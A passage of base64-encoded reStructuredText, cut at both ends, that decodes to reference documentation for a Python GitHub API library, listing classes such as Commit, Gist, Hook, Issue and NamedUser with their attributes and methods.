lvbmAKPT09PT09PT09PT09PT09PT09PT09\nCgpBdHRyaWJ1dGVzCi0tLS0tLS0tLS0KKiBgYXBwYDogYEF1dGhvcml6YXRp\nb25BcHBsaWNhdGlvbmAKKiBgY3JlYXRlZF9hdGA6IGRhdGV0aW1lLmRhdGV0\naW1lCiogYGlkYDogaW50ZWdlcgoqIGBub3RlYDogc3RyaW5nCiogYG5vdGVf\ndXJsYDogc3RyaW5nCiogYHNjb3Blc2A6IGxpc3Qgb2Ygc3RyaW5nCiogYHRv\na2VuYDogc3RyaW5nCiogYHVwZGF0ZWRfYXRgOiBkYXRldGltZS5kYXRldGlt\nZQoqIGB1cmxgOiBzdHJpbmcKCkRlbGV0aW9uCi0tLS0tLS0tCiogYGRlbGV0\nZSgpYAoKTW9kaWZpY2F0aW9uCi0tLS0tLS0tLS0tLQoqIGBlZGl0KCBbc2Nv\ncGVzLCBhZGRfc2NvcGVzLCByZW1vdmVfc2NvcGVzLCBub3RlLCBub3RlX3Vy\nbF0gKWAKICAgICogYHNjb3Blc2A6IGxpc3Qgb2Ygc3RyaW5nCiAgICAqIGBh\nZGRfc2NvcGVzYDogbGlzdCBvZiBzdHJpbmcKICAgICogYHJlbW92ZV9zY29w\nZXNgOiBsaXN0IG9mIHN0cmluZwogICAgKiBgbm90ZWA6IHN0cmluZwogICAg\nKiBgbm90ZV91cmxgOiBzdHJpbmcKCkNsYXNzIGBBdXRob3JpemF0aW9uQXBw\nbGljYXRpb25gCj09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09CgpB\ndHRyaWJ1dGVzCi0tLS0tLS0tLS0KKiBgbmFtZWA6IHN0cmluZwoqIGB1cmxg\nOiBzdHJpbmcKCkNsYXNzIGBCcmFuY2hgCj09PT09PT09PT09PT09CgpBdHRy\naWJ1dGVzCi0tLS0tLS0tLS0KKiBgY29tbWl0YDogYENvbW1pdGAKKiBgbmFt\nZWA6IHN0cmluZwoKQ2xhc3MgYENvbW1pdGAKPT09PT09PT09PT09PT0KCkF0\ndHJpYnV0ZXMKLS0tLS0tLS0tLQoqIGBhdXRob3JgOiBgTmFtZWRVc2VyYAoq\nIGBjb21taXRgOiBgR2l0Q29tbWl0YAoqIGBjb21taXR0ZXJgOiBgTmFtZWRV\nc2VyYAoqIGBmaWxlc2A6IGxpc3Qgb2YgYEZpbGVgCiogYHBhcmVudHNgOiBs\naXN0IG9mIGBDb21taXRgCiogYHNoYWA6IHN0cmluZwoqIGBzdGF0c2A6IGBD\nb21taXRTdGF0c2AKKiBgdXJsYDogc3RyaW5nCgpDb21tZW50cwotLS0tLS0t\nLQoqIGBjcmVhdGVfY29tbWVudCggYm9keSwgW2xpbmUsIHBhdGgsIHBvc2l0\naW9uXSApYDogYENvbW1pdENvbW1lbnRgCiAgICAqIGBib2R5YDogc3RyaW5n\nCiAgICAqIGBsaW5lYDogaW50ZWdlcgogICAgKiBgcGF0aGA6IHN0cmluZwog\nICAgKiBgcG9zaXRpb25gOiBpbnRlZ2VyCiogYGdldF9jb21tZW50cygpYDog\naXRlcmF0b3Igb2YgYENvbW1pdENvbW1lbnRgCgpDbGFzcyBgQ29tbWl0Q29t\nbWVudGAKPT09PT09PT09PT09PT09PT09PT09CgpBdHRyaWJ1dGVzCi0tLS0t\nLS0tLS0KKiBgYm9keWA6IHN0cmluZwoqIGBjb21taXRfaWRgOiBzdHJpbmcK\nKiBgY3JlYXRlZF9hdGA6IGRhdGV0aW1lLmRhdGV0aW1lCiogYGh0bWxfdXJs\nYDogc3RyaW5nCiogYGlkYDogaW50ZWdlcgoqIGBsaW5lYDogaW50ZWdlcgoq\nIGBwYXRoYDogc3RyaW5nCiogYHBvc2l0aW9uYDogaW50ZWdlcgoqIGB1cGRh\ndGVkX2F0YDogZGF0ZXRpbWUuZGF0ZXRpbWUKKiBgdXJsYDogc3RyaW5nCiog\nYHVzZXJgOiBgTmFtZWRVc2VyYAoKRGVsZXRpb24KLS0tLS0tLS0KKiBgZGVs\nZXRlKClgCgpNb2RpZmljYXRpb24KLS0tLS0tLS0tLS0tCiogYGVkaXQoIGJv\nZHkgKWAKICAgICogYGJvZHlgOiBzdHJpbmcKCkNsYXNzIGBDb21taXRTdGF0\nc2AKPT09PT09PT09PT09PT09PT09PQoKQXR0cmlidXRlcwotLS0tLS0tLS0t\nCiogYGFkZGl0aW9uc2A6IGludGVnZXIKKiBgZGVsZXRpb25zYDogaW50ZWdl\ncgoqIGB0b3RhbGA6IGludGVnZXIKCkNsYXNzIGBDb21wYXJpc29uYAo9PT09\nPT09PT09PT09PT09PT0KCkF0dHJpYnV0ZXMKLS0tLS0tLS0tLQoqIGBhaGVh\nZF9ieWA6IGludGVnZXIKKiBgYmFzZV9jb21taXRgOiBgQ29tbWl0YAoqIGBi\nZWhpbmRfYnlgOiBpbnRlZ2VyCiogYGNvbW1pdHNgOiBsaXN0IG9mIGBDb21t\naXRgCiogYGRpZmZfdXJsYDogc3RyaW5nCiogYGZpbGVzYDogbGlzdCBvZiBg\nRmlsZWAKKiBgaHRtbF91cmxgOiBzdHJpbmcKKiBgcGF0Y2hfdXJsYDogc3Ry\naW5nCiogYHBlcm1hbGlua191cmxgOiBzdHJpbmcKKiBgc3RhdHVzYDogc3Ry\naW5nCiogYHRvdGFsX2NvbW1pdHNgOiBpbnRlZ2VyCiogYHVybGA6IHN0cmlu\nZwoKQ2xhc3MgYERvd25sb2FkYAo9PT09PT09PT09PT09PT09CgpBdHRyaWJ1\ndGVzCi0tLS0tLS0tLS0KKiBgYWNjZXNza2V5aWRgOiBzdHJpbmcKKiBgYWNs\nYDogc3RyaW5nCiogYGJ1Y2tldGA6IHN0cmluZwoqIGBjb250ZW50X3R5cGVg\nOiBzdHJpbmcKKiBgY3JlYXRlZF9hdGA6IGRhdGV0aW1lLmRhdGV0aW1lCiog\nYGRlc2NyaXB0aW9uYDogc3RyaW5nCiogYGRvd25sb2FkX2NvdW50YDogaW50\nZWdlcgoqIGBleHBpcmF0aW9uZGF0ZWA6IGRhdGV0aW1lLmRhdGV0aW1lCiog\nYGh0bWxfdXJsYDogc3RyaW5nCiogYGlkYDogaW50ZWdlcgoqIGBtaW1lX3R5\ncGVgOiBzdHJpbmcKKiBgbmFtZWA6IHN0cmluZwoqIGBwYXRoYDogc3RyaW5n\nCiogYHBvbGljeWA6IHN0cmluZwoqIGBwcmVmaXhgOiBzdHJpbmcKKiBgcmVk\naXJlY3RgOiBib29sCiogYHMzX3VybGA6IHN0cmluZwoqIGBzaWduYXR1cmVg\nOiBzdHJpbmcKKiBgc2l6ZWA6IGludGVnZXIKKiBgdXJsYDogc3RyaW5nCgpE\nZWxldGlvbgotLS0tLS0tLQoqIGBkZWxldGUoKWAKCkNsYXNzIGBFdmVudGAK\nPT09PT09PT09PT09PQoKQXR0cmlidXRlcwotLS0tLS0tLS0tCiogYGFjdG9y\nYDogYE5hbWVkVXNlcmAKKiBgY3JlYXRlZF9hdGA6IGRhdGV0aW1lLmRhdGV0\naW1lCiogYGlkYDogc3RyaW5nCiogYG9yZ2A6IGBPcmdhbml6YXRpb25gCiog\nYHBheWxvYWRgOiBkaWN0CiogYHB1YmxpY2A6IGJvb2wKKiBgcmVwb2A6IGBS\nZXBvc2l0b3J5YAoqIGB0eXBlYDogc3RyaW5nCgpDbGFzcyBgRmlsZWAKPT09\nPT09PT09PT09CgpBdHRyaWJ1dGVzCi0tLS0tLS0tLS0KKiBgYWRkaXRpb25z\nYDogaW50ZWdlcgoqIGBibG9iX3VybGA6IHN0cmluZwoqIGBjaGFuZ2VzYDog\naW50ZWdlcgoqIGBkZWxldGlvbnNgOiBpbnRlZ2VyCiogYGZpbGVuYW1lYDog\nc3RyaW5nCiogYHBhdGNoYDogc3RyaW5nCiogYHJhd191cmxgOiBzdHJpbmcK\nKiBgc2hhYDogc3RyaW5nCiogYHN0YXR1c2A6IHN0cmluZwoKQ2xhc3MgYEdp\nc3RgCj09PT09PT09PT09PQoKQXR0cmlidXRlcwotLS0tLS0tLS0tCiogYGNv\nbW1lbnRzYDogaW50ZWdlcgoqIGBjcmVhdGVkX2F0YDogZGF0ZXRpbWUuZGF0\nZXRpbWUKKiBgZGVzY3JpcHRpb25gOiBzdHJpbmcKKiBgZmlsZXNgOiBkaWN0\nIG9mIHN0cmluZyB0byBgR2lzdEZpbGVgCiogYGZvcmtfb2ZgOiBgR2lzdGAK\nKiBgZm9ya3NgOiBsaXN0IG9mIGBHaXN0YAoqIGBnaXRfcHVsbF91cmxgOiBz\ndHJpbmcKKiBgZ2l0X3B1c2hfdXJsYDogc3RyaW5nCiogYGhpc3RvcnlgOiBs\naXN0IG9mIGBHaXN0SGlzdG9yeVN0YXRlYAoqIGBodG1sX3VybGA6IHN0cmlu\nZwoqIGBpZGA6IHN0cmluZwoqIGBwdWJsaWNgOiBib29sCiogYHVwZGF0ZWRf\nYXRgOiBkYXRldGltZS5kYXRldGltZQoqIGB1cmxgOiBzdHJpbmcKKiBgdXNl\ncmA6IGBOYW1lZFVzZXJgCgpDb21tZW50cwotLS0tLS0tLQoqIGBjcmVhdGVf\nY29tbWVudCggYm9keSApYDogYEdpc3RDb21tZW50YAogICAgKiBgYm9keWA6\nIHN0cmluZwoqIGBnZXRfY29tbWVudCggaWQgKWA6IGBHaXN0Q29tbWVudGAK\nICAgICogYGlkYDogaW50ZWdlcgoqIGBnZXRfY29tbWVudHMoKWA6IGl0ZXJh\ndG9yIG9mIGBHaXN0Q29tbWVudGAKCkRlbGV0aW9uCi0tLS0tLS0tCiogYGRl\nbGV0ZSgpYAoKRm9ya2luZwotLS0tLS0tCiogYGNyZWF0ZV9mb3JrKClgOiBg\nR2lzdGAKCk1vZGlmaWNhdGlvbgotLS0tLS0tLS0tLS0KKiBgZWRpdCggW2Rl\nc2NyaXB0aW9uLCBmaWxlc10gKWAKICAgICogYGRlc2NyaXB0aW9uYDogc3Ry\naW5nCiAgICAqIGBmaWxlc2A6IGRpY3Qgb2Ygc3RyaW5nIHRvIGBJbnB1dEZp\nbGVDb250ZW50YAoKU3RhcnJpbmcKLS0tLS0tLS0KKiBgaXNfc3RhcnJlZCgp\nYDogYm9vbAoqIGByZXNldF9zdGFycmVkKClgCiogYHNldF9zdGFycmVkKClg\nCgpDbGFzcyBgR2lzdENvbW1lbnRgCj09PT09PT09PT09PT09PT09PT0KCkF0\ndHJpYnV0ZXMKLS0tLS0tLS0tLQoqIGBib2R5YDogc3RyaW5nCiogYGNyZWF0\nZWRfYXRgOiBkYXRldGltZS5kYXRldGltZQoqIGBpZGA6IGludGVnZXIKKiBg\ndXBkYXRlZF9hdGA6IGRhdGV0aW1lLmRhdGV0aW1lCiogYHVybGA6IHN0cmlu\nZwoqIGB1c2VyYDogYE5hbWVkVXNlcmAKCkRlbGV0aW9uCi0tLS0tLS0tCiog\nYGRlbGV0ZSgpYAoKTW9kaWZpY2F0aW9uCi0tLS0tLS0tLS0tLQoqIGBlZGl0\nKCBib2R5IClgCiAgICAqIGBib2R5YDogc3RyaW5nCgpDbGFzcyBgR2lzdEZp\nbGVgCj09PT09PT09PT09PT09PT0KCkF0dHJpYnV0ZXMKLS0tLS0tLS0tLQoq\nIGBjb250ZW50YDogc3RyaW5nCiogYGZpbGVuYW1lYDogc3RyaW5nCiogYGxh\nbmd1YWdlYDogc3RyaW5nCiogYHJhd191cmxgOiBzdHJpbmcKKiBgc2l6ZWA6\nIGludGVnZXIKCkNsYXNzIGBHaXN0SGlzdG9yeVN0YXRlYAo9PT09PT09PT09\nPT09PT09PT09PT09PT0KCkF0dHJpYnV0ZXMKLS0tLS0tLS0tLQoqIGBjaGFu\nZ2Vfc3RhdHVzYDogYENvbW1pdFN0YXRzYAoqIGBjb21taXR0ZWRfYXRgOiBk\nYXRldGltZS5kYXRldGltZQoqIGB1cmxgOiBzdHJpbmcKKiBgdXNlcmA6IGBO\nYW1lZFVzZXJgCiogYHZlcnNpb25gOiBzdHJpbmcKCkNsYXNzIGBHaXRBdXRo\nb3JgCj09PT09PT09PT09PT09PT09CgpBdHRyaWJ1dGVzCi0tLS0tLS0tLS0K\nKiBgZGF0ZWA6IGRhdGV0aW1lLmRhdGV0aW1lCiogYGVtYWlsYDogc3RyaW5n\nCiogYG5hbWVgOiBzdHJpbmcKCkNsYXNzIGBHaXRCbG9iYAo9PT09PT09PT09\nPT09PT0KCkF0dHJpYnV0ZXMKLS0tLS0tLS0tLQoqIGBjb250ZW50YDogc3Ry\naW5nCiogYGVuY29kaW5nYDogc3RyaW5nCiogYHNoYWA6IHN0cmluZwoqIGBz\naXplYDogaW50ZWdlcgoqIGB1cmxgOiBzdHJpbmcKCkNsYXNzIGBHaXRDb21t\naXRgCj09PT09PT09PT09PT09PT09CgpBdHRyaWJ1dGVzCi0tLS0tLS0tLS0K\nKiBgYXV0aG9yYDogYEdpdEF1dGhvcmAKKiBgY29tbWl0dGVyYDogYEdpdEF1\ndGhvcmAKKiBgbWVzc2FnZWA6IHN0cmluZwoqIGBwYXJlbnRzYDogbGlzdCBv\nZiBgR2l0Q29tbWl0YAoqIGBzaGFgOiBzdHJpbmcKKiBgdHJlZWA6IGBHaXRU\ncmVlYAoqIGB1cmxgOiBzdHJpbmcKCkNsYXNzIGBHaXRPYmplY3RgCj09PT09\nPT09PT09PT09PT09CgpBdHRyaWJ1dGVzCi0tLS0tLS0tLS0KKiBgc2hhYDog\nc3RyaW5nCiogYHR5cGVgOiBzdHJpbmcKKiBgdXJsYDogc3RyaW5nCgpDbGFz\ncyBgR2l0UmVmYAo9PT09PT09PT09PT09PQoKQXR0cmlidXRlcwotLS0tLS0t\nLS0tCiogYG9iamVjdGA6IGBHaXRPYmplY3RgCiogYHJlZmA6IHN0cmluZwoq\nIGB1cmxgOiBzdHJpbmcKCkRlbGV0aW9uCi0tLS0tLS0tCiogYGRlbGV0ZSgp\nYAoKTW9kaWZpY2F0aW9uCi0tLS0tLS0tLS0tLQoqIGBlZGl0KCBzaGEsIFtm\nb3JjZV0gKWAKICAgICogYHNoYWA6IHN0cmluZwogICAgKiBgZm9yY2VgOiBi\nb29sCgpDbGFzcyBgR2l0VGFnYAo9PT09PT09PT09PT09PQoKQXR0cmlidXRl\ncwotLS0tLS0tLS0tCiogYG1lc3NhZ2VgOiBzdHJpbmcKKiBgb2JqZWN0YDog\nYEdpdE9iamVjdGAKKiBgc2hhYDogc3RyaW5nCiogYHRhZ2A6IHN0cmluZwoq\nIGB0YWdnZXJgOiBgR2l0QXV0aG9yYAoqIGB1cmxgOiBzdHJpbmcKCkNsYXNz\nIGBHaXRUcmVlYAo9PT09PT09PT09PT09PT0KCkF0dHJpYnV0ZXMKLS0tLS0t\nLS0tLQoqIGBzaGFgOiBzdHJpbmcKKiBgdHJlZWA6IGxpc3Qgb2YgYEdpdFRy\nZWVFbGVtZW50YAoqIGB1cmxgOiBzdHJpbmcKCkNsYXNzIGBHaXRUcmVlRWxl\nbWVudGAKPT09PT09PT09PT09PT09PT09PT09PQoKQXR0cmlidXRlcwotLS0t\nLS0tLS0tCiogYG1vZGVgOiBzdHJpbmcKKiBgcGF0aGA6IHN0cmluZwoqIGBz\naGFgOiBzdHJpbmcKKiBgc2l6ZWA6IGludGVnZXIKKiBgdHlwZWA6IHN0cmlu\nZwoqIGB1cmxgOiBzdHJpbmcKCkNsYXNzIGBIb29rYAo9PT09PT09PT09PT0K\nCkF0dHJpYnV0ZXMKLS0tLS0tLS0tLQoqIGBhY3RpdmVgOiBib29sCiogYGNv\nbmZpZ2A6IGRpY3QKKiBgY3JlYXRlZF9hdGA6IGRhdGV0aW1lLmRhdGV0aW1l\nCiogYGV2ZW50c2A6IGxpc3Qgb2Ygc3RyaW5nCiogYGlkYDogaW50ZWdlcgoq\nIGBsYXN0X3Jlc3BvbnNlYDogYEhvb2tSZXNwb25zZWAKKiBgbmFtZWA6IHN0\ncmluZwoqIGB1cGRhdGVkX2F0YDogZGF0ZXRpbWUuZGF0ZXRpbWUKKiBgdXJs\nYDogc3RyaW5nCgpEZWxldGlvbgotLS0tLS0tLQoqIGBkZWxldGUoKWAKCk1v\nZGlmaWNhdGlvbgotLS0tLS0tLS0tLS0KKiBgZWRpdCggbmFtZSwgY29uZmln\nLCBbZXZlbnRzLCBhZGRfZXZlbnRzLCByZW1vdmVfZXZlbnRzLCBhY3RpdmVd\nIClgCiAgICAqIGBuYW1lYDogc3RyaW5nCiAgICAqIGBjb25maWdgOiBkaWN0\nCiAgICAqIGBldmVudHNgOiBsaXN0IG9mIHN0cmluZwogICAgKiBgYWRkX2V2\nZW50c2A6IGxpc3Qgb2Ygc3RyaW5nCiAgICAqIGByZW1vdmVfZXZlbnRzYDog\nbGlzdCBvZiBzdHJpbmcKICAgICogYGFjdGl2ZWA6IGJvb2wKClRlc3RpbmcK\nLS0tLS0tLQoqIGB0ZXN0KClgCgpDbGFzcyBgSG9va1Jlc3BvbnNlYAo9PT09\nPT09PT09PT09PT09PT09PQoKQXR0cmlidXRlcwotLS0tLS0tLS0tCiogYGNv\nZGVgOiBpbnRlZ2VyCiogYG1lc3NhZ2VgOiBzdHJpbmcKKiBgc3RhdHVzYDog\nc3RyaW5nCgpDbGFzcyBgSXNzdWVgCj09PT09PT09PT09PT0KCkF0dHJpYnV0\nZXMKLS0tLS0tLS0tLQoqIGBhc3NpZ25lZWA6IGBOYW1lZFVzZXJgCiogYGJv\nZHlgOiBzdHJpbmcKKiBgY2xvc2VkX2F0YDogZGF0ZXRpbWUuZGF0ZXRpbWUK\nKiBgY2xvc2VkX2J5YDogYE5hbWVkVXNlcmAKKiBgY29tbWVudHNgOiBpbnRl\nZ2VyCiogYGNyZWF0ZWRfYXRgOiBkYXRldGltZS5kYXRldGltZQoqIGBodG1s\nX3VybGA6IHN0cmluZwoqIGBpZGA6IGludGVnZXIKKiBgbGFiZWxzYDogbGlz\ndCBvZiBgTGFiZWxgCiogYG1pbGVzdG9uZWA6IGBNaWxlc3RvbmVgCiogYG51\nbWJlcmA6IGludGVnZXIKKiBgcHVsbF9yZXF1ZXN0YDogYElzc3VlUHVsbFJl\ncXVlc3RgCiogYHJlcG9zaXRvcnlgOiBgUmVwb3NpdG9yeWAKKiBgc3RhdGVg\nOiBzdHJpbmcKKiBgdGl0bGVgOiBzdHJpbmcKKiBgdXBkYXRlZF9hdGA6IGRh\ndGV0aW1lLmRhdGV0aW1lCiogYHVybGA6IHN0cmluZwoqIGB1c2VyYDogYE5h\nbWVkVXNlcmAKCkNvbW1lbnRzCi0tLS0tLS0tCiogYGNyZWF0ZV9jb21tZW50\nKCBib2R5IClgOiBgSXNzdWVDb21tZW50YAogICAgKiBgYm9keWA6IHN0cmlu\nZwoqIGBnZXRfY29tbWVudCggaWQgKWA6IGBJc3N1ZUNvbW1lbnRgCiAgICAq\nIGBpZGA6IGludGVnZXIKKiBgZ2V0X2NvbW1lbnRzKClgOiBpdGVyYXRvciBv\nZiBgSXNzdWVDb21tZW50YAoKRXZlbnRzCi0tLS0tLQoqIGBnZXRfZXZlbnRz\nKClgOiBpdGVyYXRvciBvZiBgSXNzdWVFdmVudGAKCkxhYmVscwotLS0tLS0K\nKiBgYWRkX3RvX2xhYmVscyggbGFiZWwsIC4uLiApYAogICAgKiBgbGFiZWxg\nOiBgTGFiZWxgCiogYGRlbGV0ZV9sYWJlbHMoKWAKKiBgZ2V0X2xhYmVscygp\nYDogaXRlcmF0b3Igb2YgYExhYmVsYAoqIGByZW1vdmVfZnJvbV9sYWJlbHMo\nIGxhYmVsIClgCiAgICAqIGBsYWJlbGA6IGBMYWJlbGAKKiBgc2V0X2xhYmVs\ncyggbGFiZWwsIC4uLiApYAogICAgKiBgbGFiZWxgOiBgTGFiZWxgCgpNb2Rp\nZmljYXRpb24KLS0tLS0tLS0tLS0tCiogYGVkaXQoIFt0aXRsZSwgYm9keSwg\nYXNzaWduZWUsIHN0YXRlLCBtaWxlc3RvbmUsIGxhYmVsc10gKWAKICAgICog\nYHRpdGxlYDogc3RyaW5nCiAgICAqIGBib2R5YDogc3RyaW5nCiAgICAqIGBh\nc3NpZ25lZWA6IGBOYW1lZFVzZXJgCiAgICAqIGBzdGF0ZWA6IHN0cmluZwog\nICAgKiBgbWlsZXN0b25lYDogYE1pbGVzdG9uZWAKICAgICogYGxhYmVsc2A6\nIGxpc3Qgb2Ygc3RyaW5nCgpDbGFzcyBgSXNzdWVDb21tZW50YAo9PT09PT09\nPT09PT09PT09PT09PQoKQXR0cmlidXRlcwotLS0tLS0tLS0tCiogYGJvZHlg\nOiBzdHJpbmcKKiBgY3JlYXRlZF9hdGA6IGRhdGV0aW1lLmRhdGV0aW1lCiog\nYGlkYDogaW50ZWdlcgoqIGB1cGRhdGVkX2F0YDogZGF0ZXRpbWUuZGF0ZXRp\nbWUKKiBgdXJsYDogc3RyaW5nCiogYHVzZXJgOiBgTmFtZWRVc2VyYAoKRGVs\nZXRpb24KLS0tLS0tLS0KKiBgZGVsZXRlKClgCgpNb2RpZmljYXRpb24KLS0t\nLS0tLS0tLS0tCiogYGVkaXQoIGJvZHkgKWAKICAgICogYGJvZHlgOiBzdHJp\nbmcKCkNsYXNzIGBJc3N1ZUV2ZW50YAo9PT09PT09PT09PT09PT09PT0KCkF0\ndHJpYnV0ZXMKLS0tLS0tLS0tLQoqIGBhY3RvcmA6IGBOYW1lZFVzZXJgCiog\nYGNvbW1pdF9pZGA6IHN0cmluZwoqIGBjcmVhdGVkX2F0YDogZGF0ZXRpbWUu\nZGF0ZXRpbWUKKiBgZXZlbnRgOiBzdHJpbmcKKiBgaWRgOiBpbnRlZ2VyCiog\nYGlzc3VlYDogYElzc3VlYAoqIGB1cmxgOiBzdHJpbmcKCkNsYXNzIGBJc3N1\nZVB1bGxSZXF1ZXN0YAo9PT09PT09PT09PT09PT09PT09PT09PT0KCkF0dHJp\nYnV0ZXMKLS0tLS0tLS0tLQoqIGBkaWZmX3VybGA6IHN0cmluZwoqIGBodG1s\nX3VybGA6IHN0cmluZwoqIGBwYXRjaF91cmxgOiBzdHJpbmcKCkNsYXNzIGBM\nYWJlbGAKPT09PT09PT09PT09PQoKQXR0cmlidXRlcwotLS0tLS0tLS0tCiog\nYGNvbG9yYDogc3RyaW5nCiogYG5hbWVgOiBzdHJpbmcKKiBgdXJsYDogc3Ry\naW5nCgpEZWxldGlvbgotLS0tLS0tLQoqIGBkZWxldGUoKWAKCk1vZGlmaWNh\ndGlvbgotLS0tLS0tLS0tLS0KKiBgZWRpdCggbmFtZSwgY29sb3IgKWAKICAg\nICogYG5hbWVgOiBzdHJpbmcKICAgICogYGNvbG9yYDogc3RyaW5nCgpDbGFz\ncyBgTWlsZXN0b25lYAo9PT09PT09PT09PT09PT09PQoKQXR0cmlidXRlcwot\nLS0tLS0tLS0tCiogYGNsb3NlZF9pc3N1ZXNgOiBpbnRlZ2VyCiogYGNyZWF0\nZWRfYXRgOiBkYXRldGltZS5kYXRldGltZQoqIGBjcmVhdG9yYDogYE5hbWVk\nVXNlcmAKKiBgZGVzY3JpcHRpb25gOiBzdHJpbmcKKiBgZHVlX29uYDogZGF0\nZXRpbWUuZGF0ZXRpbWUKKiBgaWRgOiBpbnRlZ2VyCiogYG51bWJlcmA6IGlu\ndGVnZXIKKiBgb3Blbl9pc3N1ZXNgOiBpbnRlZ2VyCiogYHN0YXRlYDogc3Ry\naW5nCiogYHRpdGxlYDogc3RyaW5nCiogYHVybGA6IHN0cmluZwoKRGVsZXRp\nb24KLS0tLS0tLS0KKiBgZGVsZXRlKClgCgpMYWJlbHMKLS0tLS0tCiogYGdl\ndF9sYWJlbHMoKWA6IGl0ZXJhdG9yIG9mIGBMYWJlbGAKCk1vZGlmaWNhdGlv\nbgotLS0tLS0tLS0tLS0KKiBgZWRpdCggdGl0bGUsIFtzdGF0ZSwgZGVzY3Jp\ncHRpb24sIGR1ZV9vbl0gKWAKICAgICogYHRpdGxlYDogc3RyaW5nCiAgICAq\nIGBzdGF0ZWA6IHN0cmluZwogICAgKiBgZGVzY3JpcHRpb25gOiBzdHJpbmcK\nICAgICogYGR1ZV9vbmA6IGRhdGUKCkNsYXNzIGBOYW1lZFVzZXJgCj09PT09\nPT09PT09PT09PT09CgpBdHRyaWJ1dGVzCi0tLS0tLS0tLS0KKiBgYXZhdGFy\nX3VybGA6IHN0cmluZwoqIGBiaW9gOiBzdHJpbmcKKiBgYmxvZ2A6IHN0cmlu\nZwoqIGBjb2xsYWJvcmF0b3JzYDogaW50ZWdlcgoqIGBjb21wYW55YDogc3Ry\naW5nCiogYGNvbnRyaWJ1dGlvbnNgOiBpbnRlZ2VyCiogYGNyZWF0ZWRfYXRg\nOiBkYXRldGltZS5kYXRldGltZQoqIGBkaXNrX3VzYWdlYDogaW50ZWdlcgoq\nIGBlbWFpbGA6IHN0cmluZwoqIGBmb2xsb3dlcnNgOiBpbnRlZ2VyCiogYGZv\nbGxvd2luZ2A6IGludGVnZXIKKiBgZ3JhdmF0YXJfaWRgOiBzdHJpbmcKKiBg\naGlyZWFibGVgOiBib29sCiogYGh0bWxfdXJsYDogc3RyaW5nCiogYGlkYDog\naW50ZWdlcgoqIGBsb2NhdGlvbmA6IHN0cmluZwoqIGBsb2dpbmA6IHN0cmlu\nZwoqIGBuYW1lYDogc3RyaW5nCiogYG93bmVkX3ByaXZhdGVfcmVwb3NgOiBp\nbnRlZ2VyCiogYHBsYW5gOiBgUGxhbmAKKiBgcHJpdmF0ZV9naXN0c2A6IGlu\ndGVnZXIKKiBgcHVibGljX2dpc3RzYDogaW50ZWdlcgoqIGBwdWJsaWNfcmVw\nb3NgOiBpbnRlZ2VyCiogYHRvdGFsX3ByaXZhdGVfcmVwb3NgOiBpbnRlZ2Vy\nCiogYHR5cGVgOiBzdHJpbmcKKiBgdXJsYDogc3RyaW5nCgpFdmVudHMKLS0t\nLS0tCiogYGdldF9ldmVudHMoKWA6IGl0ZXJhdG9yIG9mIGBFdmVudGAKKiBg\nZ2V0X3B1YmxpY19ldmVudHMoKWA6IGl0ZXJhdG9yIG9mIGBFdmVudGAKKiBg\nZ2V0X3JlY2VpdmVkX2V2ZW50cygpYDogaXRlcmF0b3Igb2YgYEV2ZW50YAoq\nIGBnZXRfcHVibGljX3JlY2VpdmVkX2V2ZW50cygpYDogaXRlcmF0b3Igb2Yg\nYEV2ZW50YAoKRm9sbG93ZXJzCi0tLS0tLS0tLQoqIGBnZXRfZm9sbG93ZXJz\nKClgOiBpdGVyYXRvciBvZiBgTmFtZWRVc2VyYAoKRm9sbG93aW5nCi0tLS0t\nLS0tLQoqIGBnZXRfZm9sbG93aW5nKClgOiBpdGVyYXRvciBvZiBgTmFtZWRV\nc2VyYAoKR2lzdHMKLS0tLS0KKiBgY3JlYXRlX2dpc3QoIHB1YmxpYywgZmls\nZXMsIFtkZXNjcmlwdGlvbl0gKWA6IGBHaXN0YAogICAgKiBgcHVibGljYDog\nYm9vbAogICAgKiBgZmlsZXNgOiBkaWN0IG9mIHN0cmluZyB0byBgSW5wdXRG\naWxlQ29udGVudGAKICAgICogYGRlc2NyaXB0aW9uYDogc3RyaW5nCiogYGdl\ndF9naXN0cygpYDogaXRlcmF0b3Igb2YgYEdpc3RgCgpPcmdzCi0tLS0KKiBg\nZ2V0X29yZ3MoKWA6IGl0ZXJhdG9yIG9mIGBPcmdhbml6YXRpb25gCgpSZXBv\ncwotLS0tLQoqIGBnZXRfcmVwbyggbmFtZSApYDogYFJlcG9zaXRvcnlgCiAg\nICAqIGBuYW1lYDogc3RyaW5nCiogYGdldF9yZXBvcyggW3R5cGVdIClgOiBp\ndGVyYXRvciBvZiBgUmVwb3NpdG9yeWAKICAgICogYHR5cGVgOiBzdHJpbmcK\nCldhdGNoZWQKLS0tLS0tLQoqIGBnZXRfd2F0Y2hlZCgpYDogaXRlcmF0b3Ig\nb2YgYFJlcG9zaXRvcnlgCgpDbGFzcyBgT3JnYW5pemF0aW9uYAo9PT09PT09\nPT09PT09PT09PT09PQoKQXR0cmlidXRlcwotLS0tLS0tLS0tCiogYGF2YXRh\ncl91cmxgOiBzdHJpbmcKKiBgYmlsbGluZ19lbWFpbGA6IHN0cmluZwoqIGBi\nbG9nYDogc3RyaW5nCiogYGNvbGxhYm9yYXRvcnNgOiBpbnRlZ2VyCiogYGNv\nbXBhbnlgOiBzdHJpbmcKKiBgY3JlYXRlZF9hdGA6IGRhdGV0aW1lLmRhdGV0\naW1lCiogYGRpc2tfdXNhZ2VgOiBpbnRlZ2VyCiogYGVtYWlsYDogc3RyaW5n\nCiogYGZvbGxvd2Vyc2A6IGludGVnZXIKKiBgZm9sbG93aW5nYDogaW50ZWdl\ncgoqIGBncmF2YXRhcl9pZGA6IHN0cmluZwoqIGBodG1sX3VybGA6IHN0cmlu\nZwoqIGBpZGA6IGludGVnZXIKKiBgbG9jYXRpb25gOiBzdHJpbmcKKiBgbG9n\naW5gOiBzdHJpbmcKKiBgbmFtZWA6IHN0cmluZwoqIGBvd25lZF9wcml2YXRl\nX3JlcG9zYDogaW50ZWdlcgoqIGBwbGFuYDogYFBsYW5gCiogYHByaXZhdGVf\nZ2lzdHNgOiBpbnRlZ2VyCiogYHB1YmxpY19naXN0c2A6IGludGVnZXIKKiBg\ncHVibGljX3JlcG9zYDogaW50ZWdlcgoqIGB0b3RhbF9wcml2YXRlX3JlcG9z\nYDogaW50ZWdlcgoqIGB0eXBlYDogc3RyaW5nCiogYHVybGA6IHN0cmluZwoK\nRXZlbnRzCi0tLS0tLQoqIGBnZXRfZXZlbnRzKClgOiBpdGVyYXRvciBvZiBg\nRXZlbnRgCgpGb3JraW5nCi0tLS0tLS0KKiBgY3JlYXRlX2ZvcmsoIHJlcG8g\nKWA6IGBSZXBvc2l0b3J5YAogIC